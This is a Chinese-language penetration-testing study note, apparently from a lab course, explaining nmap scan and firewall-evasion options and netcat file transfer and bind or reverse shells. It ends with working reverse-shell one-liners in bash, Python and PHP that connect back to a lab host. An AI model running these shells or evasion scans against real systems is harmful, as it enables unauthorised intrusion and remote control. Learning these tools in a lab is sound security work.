内网渗透 day2-nmap和nc的使用
nmap和nc的使用
nmap的使用
1. nmap -sSV 172.16.100.214 -T4 -F
-sS进行SYN扫描,是比较隐匿的
-sV探测打开端口的服务的信息
-sSV将上面两种一起使用
-T4 扫描的速度(0-5)
2. nmap -sSV 172.16.100.214 -T4 -F -vv -vv详细信息
3. nmap -sSV 172.16.100.214 -T4 -p 445 -p指定端口扫描(这里不能和-F一起使用)
4. nmap -sSV 172.16.100.214/24 -T4 -F -Pn -Pn将所有主机当成存活进行端口探测(推荐使用)
5. nmap -Pn 172.16.100.0/24 -T4 -A -A综合扫描
防火墙逃逸
6. nmap -sSV 172.16.100.209 -T4 -f -v -f报文分段
7. nmap -sSV 172.16.100.209 -T4 --mtu 16 --mtu偏移量
8. nmap -sT -Pn --spoof-mac 0 172.16.100.209 --spoof-mac mac地址欺骗(0是指随机生成mac地址)
9. nmap 172.16.100.214 -oN d:\1.txt -oN将输出信息保存正在指定位置
nc(netcat)的使用
1. 端口探测
nc 192.168.227.128 -znv 80 -z 零输入输出模式(用于端口扫描) -n 只允许数字地址 -v|vv 详细信息|超详细信息 |
2. 文件传输
客户端发送文件给服务端
开始监听4444端口,并创建1.txt文件用于接收客户端发来文件
客户端进行发送
这时候服务端就会显示连接的客户端
服务端发送文件给客户端
服务端 nc -lvvp 4444 > 1.txt -l 监听 -vv 超详细信息 -p port端口 -q 1 #按键ctrl+d 发送EOF 立即断开 客户端 C:\Users\ZJW\Desktop\netcat\nc64.exe 192.168.227.129 4444 < 33.txt (这边的前面是调用nc64.exe) <当指向port 就想将文件进行传输过去 >就是将文件保存到xx位置 这里我把端口当成一个存取站点,服务端就是站长,客户端所带ip就是站点地址,客户端把33.txt文件存到了4444端口然后服务端把这个文件的内容放到1.txt里面。 反之就是服务端把东西放在站点,客户端来到站点取东西。 (东西放在哪就要到哪里去取) |
3. 反弹shell
目的是将kali下的shell文件弹到win7上,最终的效果是win7上使用命令操控kali
正向反弹shell
服务端到客户端
这个时候入侵的win7是作为客户端,kali作为服务端
这时候就成功在win7上操作kali了
nc -lvvp 7777 -e /bin/bash 目标机kali 服务端 nc64.exe 192.168.227.129 7777 操作机win7 客户端 这里需要目标机的ip地址 |
反向反弹shell
客户端到服务端
此时win7作为服务端,kali作为客户端
nc 192.168.227.128 7777 -e /bin/bash 目标机kali 客户端 nc64.exe -lvvp 7777 操作机win7 服务端 这里操作机就不用目标机的ip地址 |
总结
反向连接反弹shell会更好,因为他不需要目标机器的ip地址,因为这时候操作机是服务端所以也不用考虑目标机的端口号防火墙的问题。
nc反弹shell的其他方式
1. bash方式
bash -i >& /dev/tcp/192.168.227.129/4444 0>&1 -i 打开一个交互的bash >& 将标准错误输出重定向到标准输出 0>&1 将标准输入转化为标准输出 |
2. python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.227.129",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
3. php
php -r '$sock=fsockopen("192.168.227.129",4444);exec("/bin/sh -i <&3 >&3 2>&3");' |